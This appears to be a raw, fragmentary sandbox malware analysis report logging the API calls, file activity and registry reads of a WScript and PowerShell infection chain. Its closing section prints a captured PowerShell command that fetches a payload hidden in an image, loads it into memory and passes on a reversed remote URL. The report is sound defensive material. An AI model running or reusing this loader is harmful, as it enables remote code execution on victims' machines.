d798a5eadb3ada6b68cacae73de4b6aee383a71e6ac96e2dacf4a856c7d67adc732366d4aa6e8542b7221028201044e0e0a9ab680204140b0e9ebcdcfcf714e82c04760da904c13810205b549d046a0101b4b4ec0435699f40cf911bde7a5b2031a54d3ea1337028ab132a41326826a0105a059d0d30e767d169989ad2d949c0a4a8ab0216ca8355e976e5f39cfd79e751453543a475f6e6e64e891c4d8e513a58ac769d35bef0c79743ae214137d4d79f938f410fa1a62a4f246d68632c093155bea75233e7d463a4dad681c8b6eb89d463c3a5949083acf31009b569625b4abc453e832e35127312dbcb3c5c070da2db4af2e95a4ba5d8d72c18f53d58919c91bc30920d112957a6a191a6d9daef0e6564c8aead2d8569d72f49ac78ce6d78d37acd36e5d3934e7e97470f0b9fac5119ba6ae5839d0e58e30cd3f5c911a3a3531d27a1ac3a6396f1ceaa907539cab44190a15a412b471ab9b22bd36fcbc8e2f5353b34f5295ce7beb9bda76e6fb9ecefc7a272516a7a1d4a8bcf1af2b0ea5455358f2af3bccf9f19e7b592a74e919e7753a4abd579e65a5cdc6e9260da04e29012b45002c8f040884e79e27196b3d6cf4874e6ae6f2eb4594d7399c129d0af546fa6b3cf1a8867bcaab34274d02649b53d2b4d33a008e342a64e1428e549b0757965902a144908e90c86e22768d3ae029e75a7572eed4b6439c758d8a2623b2b03cb7ceb6abab3d2807468b68ed36370bcf05e79c9cd597275e35d48928a81a2089211eed70c31b5270544db5410742a0b0b08cb000a14082816d35cae6a82864021020ec4ca954d5850402108e050a32c282c1f5289a81a6b3cd3a322e80e814e91bb4c90a93176d5a62"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "ea9a8aeae682e462d5a691b6ce9d435b9662ea5c61cb486170fd7f5475375d0db15637bf6e70ad152f0e3bd073f1db3cd6cbcf45e5964f19c579ea32aa4d3633a5b61ca8e823418d7533a3b72f270ebb19b8b25295808f48029078e74b3d6596a02b3cce7637d334f2f50f0406ad39d9539b1dca69ccd25688db2d6780caa85b9211cdb95e88d58abb53be733e75422b19a64f4658db4ad1600e42b349162168e5d8a388042b71657572eed35a0de5c7ae478b9f354d21686ab54ecf9b6cd8d0335b56d48d6b62aacbb72e46ac786f1e7573e4ac52e1979ad5527410235a2f34cd080a2346d02741020ad9414141044d443aa58e72c696023a08160e728576281051546a0a0ec56c58100a231a250ed11900e2e82c76140d6027bef17d65cccba165c0814161023442b083a4c82c041d5288d0c226da95a7b2b2c59f431cad38231b2b342ad9521974a9c9aa62b3249550520ea235536b1d8ec6fd30cb3429c54614c34f50e4e86d742a159f53a34dcb431e425759d08952816e16d1aa639040d6629d26e6895885a13789a6d5a2d09be781551b2b2c5974366f5b3a555cfcb7319b6c4f33cd4f25b94e9cf4864e82ac44f87ba753a8ebe987272e9cd53d15a6eb9d069e6e39eda44de7b8c951a668872f2211e7b3d68c946b3279e89215acbe9e8b0e5d19c8e6df303855ce772350b1837274dab4b9ac779503d38ad6edec646ce574e74236b630ca645bf45a4fabed95c3c596dd3e8c346918b0d70e3a88f3c5679a739a0e86f8f96c2702e6e616b346d2c936e5a5ba91a10d97051b21cd924d3054de8a92414d0d73a1e3cb912e746b972e64ea772db897950c463593123540370307d02b5d6385e7cecf5537a2a2469a06b9b2474a37d89e3d79b9e9030097d26e7b0a60c173559a914f360c4222391118b6cedb23a68a2e8e2e2409646802264a985f4f3e9125d5399514ebb0bdb9755bac579b34cf1d4aef2c84726f8f2927a66a5748b6ac423b639e699aa08d500874f4e7e6e7d103a7b72f2f2e9a1beb25a60aa8281ce16aa0e8205850f4b8cf3a5858b5de4a8b415bef0c33ad0461b95aa26813a1d8a050581c5c1d8429ae09a44e864b1cad54a440f79e68dc044d40102144e95507576e6e663d3638998a0e0a30dc846969c0a02115cae6bbfaf3f370eda18a704f014ce967905cc1d03690cddaa953af4e7c79eec8b7ab85347b56862a5abd5692d83626b46479a1e490b04b960d8c21eadf8797874514425a0c7b27562742959e44c80433d63116d1271ad23b8d6d535e9ac28b92d7a60132edb939eb2cab438d9cb4539d737d72ce4072098d1a956f2ea97016142df6fcb9ce153b73e81162bc5eaba31b0b4041910cba19e9b274586d77cd22aa42f1c6d2442d034b5a32e6e34df3b29e58dce8a970f2e7add5196f6b3cd801a5d59d3ada63"}3c:T4ad,"powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JD1ZC8KSEZRSQU1RDFT7.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JD1ZC8KSEZRSQU1RDFT7.temp" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF103707.TMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SNBB4A2J7POYF9NT5378.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SNBB4A2J7POYF9NT5378.temp" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1052a2.TMP"3d:T2c5a,"WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008004fcfcfe0700003801250000000000010000000000000010f72600000000000000000000000000010000000000000003000000000000000000000000000000800010800000000000000000000000000b63f6fcfe070000000000080000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000009cf4fe0700009889240000000000b8dc1a00000000000000000000000000000000000000000000019cf4fe0700000002000000000000b08b2400000000000000000000000000e088240000000000300b25fffe07000080f69cf4fe070000c0589df4fe070000d85f9df4fe070000ee81207700000000b08b2400000000002e00310038003800000037005f006e0080f69cf4fe070000300b25fffe070000a2430000660066000100310031003200c0589df4fe0700000000000000000000430054004c003300000000000000000079e90bfafe07000000000000 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000560004000000108120000000000090b8090000000000207d20000000000030000000000000001c7f200000000000808320000000000080005e0000000000c8032e7700000000b0025e0000000000a0105e00000000000000200000000000c8032e7700000000000000000000000040000000000000000000200000000000c8032e770000000000000000000000001001000000000000000009000000000000010000000000000001000000000000880309000000000048dd21770000000000000000000000000000000000000000000000000000000070109cf4fe070000e0879df4 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000e8c31a0000000000c8032e7700000000000000000000000040000000000000000000200000000000582cc8f0fe0700003000000000000000b80220000000000048dd217700000000000000000200000030000000000000001b009200c400000010812000000000000000000000000000b0025e0000000000a0105e00000000000000000000000000060000000000000000c0fdffff0700006c006c0000006c000000200000000000c8032e77000000000000000000000000100100000000000000000900000000000001000000000000000100000000000088030900 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000065f0fe0700003000000000000000b80220000000000048dd217700000000000000000200000030000000000000000a00d600cc00000010812000000000004000000000000000b0025e0000000000a0105e00000000000000000000000000060000000000000000c0fdffff07000040080000000000000000000000000000c8032e770000000000000000000000001001000000000000000009000000000000010000000000000001000000000000880309000000000048dd21770000000000000000000000000001000000000000170068000500000070045e000000000000000000 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000da00cc0000001081200000000000d0bc090000000000000000000000000000000000000000000000000000000000000000000000000080005e00000000000000000000000000b0025e0000000000a0105e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c8032e770000000000000000000000001001000000000000000009000000000000010000000000000001000000000000880309000000000048dd21770000000000000000000000000000000000000000000000000000000070107bf0fe07000000c97cf0 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000660499cc9904cccc9904ffcc990400ff990433ff990466cc990499ff9904ccff9904ffff99040000cc04330099046600cc049900cc04cc00cc04003399043333cc046633cc049933cc04cc33cc04ff33cc040066cc043366cc04666699049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff04c894fc7600000000cc33ff04ff33ff040066ff043366ff046666cc04 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000100000000000000000000000000000068c2d1af4cbd0000570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000c0e850020000000040eb1204000000000000200000000000e88c2177000000000000000000000000a0e84f0200000000722f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010000000000000000000000000000722f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000f00f000000000000330300000d000000c0115002000000005010500200000000f00f00000000000079007300740065000300000001000000207d2000000000006900700074002e001c7f200000000000808320000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c8032e7700000000000000000000000040000000000000000000200000000000a0b24cfffe0700003000000000000000b80220000000000048dd2177000000000000000000000000300000000000000039001a00 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000020000000000048dd2177000000000000000000000000a0e4fb0300000000a0e4fb0300000000bd3b0c77000000004373f074000000000200000000000000b081a9fefe070000000000000000000019000200000000000000000000000000000000000000000002000000000000000200000000000000d5390c770000000040f7230000000000190002000000000040f7230000000000000000000000000020f726000000000000000000000000001000be00770100000000000000000000000000000000000040f723000000000000fe2c0000000000c07392fefe07000020f7fb03 (UID: 00000000-00003484) "WScript.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003484) "cmd.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001844) "cmd.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001204) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0b9170000000000200221fffe0700005c00000000000000600d21fffe07000000000000000000000000000000000000000000000000000020d2d7a782d60000008000000000000030d2d7a782d60000c0b9180000000000030000000000000057000780 (UID: 00000000-00002164) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002164)3e:T5e3,Pattern match: "https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf" Pattern match: "https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855" Pattern match: "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]Q0O0MAhttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0J!P-f+;z{]6mWXIY8Washington1Redmond1Microsoft" Pattern match: "C.JgU/0$" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]+Q0O0M+0Ahttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0U00" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0" Pattern match: "www.microsoft.com0" Heuristic match: "fe0.google.com" Heuristic match: "uploaddeimagens.com.br" Heuristic match: "%WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni" Heuristic match: "C:\%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe.COM" Heuristic match: "%ALLUSERSPROFILE%\Oracle\Java\javapath\powershell.exe.COM" Heuristic match: "%WINDIR%\system32\powershell.exe.COM" Heuristic match: "%WINDIR%\powershell.exe.COM" Heuristic match: "%WINDIR%\System32\Wbem\powershell.exe.COM" Heuristic match: "ctldl.windowsupdate.com"3f:T1dc8,"powershell.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "2d19e80" "pszBlobType": "OpaqueKeyBlob" "phKey": "2081cc0200000000" "pbKeyObject": "6e02000052555555809ed102000000004081cc02000000000000000000000000300200004b53534d020001000100000010000000800000001000000022eff0c8e868a06b11367095e1605ba620456e6372797074310b3009060355040313024522eff0c8e868a06b11367095e1605ba6f3d6d4301bbe745b0a8804ceebe85f686a1991d971a7e5827b2fe14c90c7be24a8b7a7b9d910423ba23fa37732f81d53e1134a9a380308a19a3cabd6a8c4b685ed5ddd58d55ed5f94f627e2fe7a6c8aae9b571cc3ceba4357389da1a942f12b0bc7c96ee809732dbf31ee8c16731fa71fb51356b7bc607b088d8ef71efe91500fe0856b485ce51040d16be75e2ffab75de6acb2c5ba49a2856b2245db44d8f282bc6ab52800068f6cbc0c31866c8b2dfb46489adabc6c3a44bc0abeead0871c780c2c13b1fa24a09e006684ae6c8da29af71eed19f608b32ffa4224306ceb263d0d48abb301165e360c4a971f96a9020ad9a4257e0c5ef5850d5cc9299ae3951a3a6aeaa4d5fad0fb01023cac97bf5c3b5c73871eef903a5fd4f8ec5796bd609b6f4088b5b3e3bd413b68d60842458cc22eff0c8e868a06b11367095e1605ba60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000008d3891169fd6e8d71bb6ce6b7bffe260350063003300300038003000350035006400610039003500350064006100" "cbKeyObject": "622" "pbInput": "300200004b53534d020001000100000010000000800000001000000022eff0c8e868a06b11367095e1605ba620456e6372797074310b3009060355040313024522eff0c8e868a06b11367095e1605ba6f3d6d4301bbe745b0a8804ceebe85f686a1991d971a7e5827b2fe14c90c7be24a8b7a7b9d910423ba23fa37732f81d53e1134a9a380308a19a3cabd6a8c4b685ed5ddd58d55ed5f94f627e2fe7a6c8aae9b571cc3ceba4357389da1a942f12b0bc7c96ee809732dbf31ee8c16731fa71fb51356b7bc607b088d8ef71efe91500fe0856b485ce51040d16be75e2ffab75de6acb2c5ba49a2856b2245db44d8f282bc6ab52800068f6cbc0c31866c8b2dfb46489adabc6c3a44bc0abeead0871c780c2c13b1fa24a09e006684ae6c8da29af71eed19f608b32ffa4224306ceb263d0d48abb301165e360c4a971f96a9020ad9a4257e0c5ef5850d5cc9299ae3951a3a6aeaa4d5fad0fb01023cac97bf5c3b5c73871eef903a5fd4f8ec5796bd609b6f4088b5b3e3bd413b68d60842458cc22eff0c8e868a06b11367095e1605ba60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000008d3891169fd6e8d71bb6ce6b7bffe260" "cbInput": "560" "dwFlags": "0"} "powershell.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "2d19e80" "pszBlobType": "OpaqueKeyBlob" "phKey": "0087cc0200000000" "pbKeyObject": "6e02000052555555809ed102000000002087cc02000000000000000000000000300200004b53534d0200010001000000100000008000000010000000a64f4f85399623666873bad66a1e10e70000000000000000000000000000000000000000a64f4f85399623666873bad66a1e10e7d585db87ec13f8e184604237ee7e52d02485abafc896534e4cf61179a28843a9e49f78952c092bdb60ff3aa2c277790b192953b03520786b55df42c997a83bc2cbcb7638feeb0e53ab344c9a3c9c7758353e1cd3cbd5128060e15e1a5c7d29428a9b3099414e221921af7c037dd25541bf67b366fe29917fdf86ed7ca254b83d840b945c7a220523a5a4e85f07f050623e583e99447a3bbae1ded3e5e62e8387882016f98ecb0d36f98cc3000262c46141b557ae06eb1bcf7747ce36fbee076179d1a8b8475e4c6171acd5f98ca9c957395d83233e8fe4d936f29998fd051cae0143202c07d267fa087d7d41cbf785365b9eacba069147d60faf1abbc38af8771e28b5155d0feb6c093e5d6dcc25e2cc8d8b53f043275e795431b601c51bbfa1215d3747ceac0d891716e878912a09a0a64f4f85399623666873bad66a1e10e70000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000002beb80dc3bf177481837dcf1139b4b21000000000000000000000000000000000000000000000000000000000000" "cbKeyObject": "622" "pbInput": "300200004b53534d0200010001000000100000008000000010000000a64f4f85399623666873bad66a1e10e70000000000000000000000000000000000000000a64f4f85399623666873bad66a1e10e7d585db87ec13f8e184604237ee7e52d02485abafc896534e4cf61179a28843a9e49f78952c092bdb60ff3aa2c277790b192953b03520786b55df42c997a83bc2cbcb7638feeb0e53ab344c9a3c9c7758353e1cd3cbd5128060e15e1a5c7d29428a9b3099414e221921af7c037dd25541bf67b366fe29917fdf86ed7ca254b83d840b945c7a220523a5a4e85f07f050623e583e99447a3bbae1ded3e5e62e8387882016f98ecb0d36f98cc3000262c46141b557ae06eb1bcf7747ce36fbee076179d1a8b8475e4c6171acd5f98ca9c957395d83233e8fe4d936f29998fd051cae0143202c07d267fa087d7d41cbf785365b9eacba069147d60faf1abbc38af8771e28b5155d0feb6c093e5d6dcc25e2cc8d8b53f043275e795431b601c51bbfa1215d3747ceac0d891716e878912a09a0a64f4f85399623666873bad66a1e10e70000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000002beb80dc3bf177481837dcf1139b4b21" "cbInput": "560" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db5590" "pszBlobType": "ECCPUBLICBLOB" "phKey": "3097da0200000000" "pbInput": "ECS1" "cbInput": "72" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db56c0" "pszBlobType": "ECCPUBLICBLOB" "phKey": "c015db0200000000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db56c0" "pszBlobType": "ECCPUBLICBLOB" "phKey": "a017db0200000000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db5460" "pszBlobType": "RSAPUBLICBLOB" "phKey": "3018db0200000000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db5460" "pszBlobType": "RSAPUBLICBLOB" "phKey": "401adb0200000000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db5460" "pszBlobType": "RSAPUBLICBLOB" "phKey": "a020db0200000000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db5460" "pszBlobType": "RSAPUBLICBLOB" "phKey": "P\"", "pbInput": "RSA1", "cbInput": "539", "dwFlags": "0"}, "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db5460", "pszBlobType": "RSAPUBLICBLOB", "phKey": "e022db0200000000", "pbInput": "RSA1", "cbInput": "539", "dwFlags": "0"}, "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db5460", "pszBlobType": "RSAPUBLICBLOB", "phKey": "c018db0200000000", "pbInput": "RSA1", "cbInput": "539", "dwFlags": "0"}, "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db5460", "pszBlobType": "RSAPUBLICBLOB", "phKey": "701ddb0200000000", "pbInput": "RSA1", "cbInput": "283", "dwFlags": "0"}, "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db56c0", "pszBlobType": "ECCPUBLICBLOB", "phKey": "701ddb0200000000", "pbInput": "ECS30", "cbInput": "104", "dwFlags": "0"}, "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2db56c0", "pszBlobType": "ECCPUBLICBLOB", "phKey": "b022db0200000000", "pbInput": "ECS30", "cbInput": "104", "dwFlags": "0"}40:T611,"WScript.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003484) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002164) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00002164) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002164) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002164) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00001544) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00001544) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001544) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00001544) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002724) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00002724) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002724) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002724)41:T538,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "PING.EXE" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")42:T207f,Commandline contains PowerShell string "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.234de/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M ��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0......." in [Source : 00000000-00002724], Commandline contains PowerShell string "-command $Codigo = 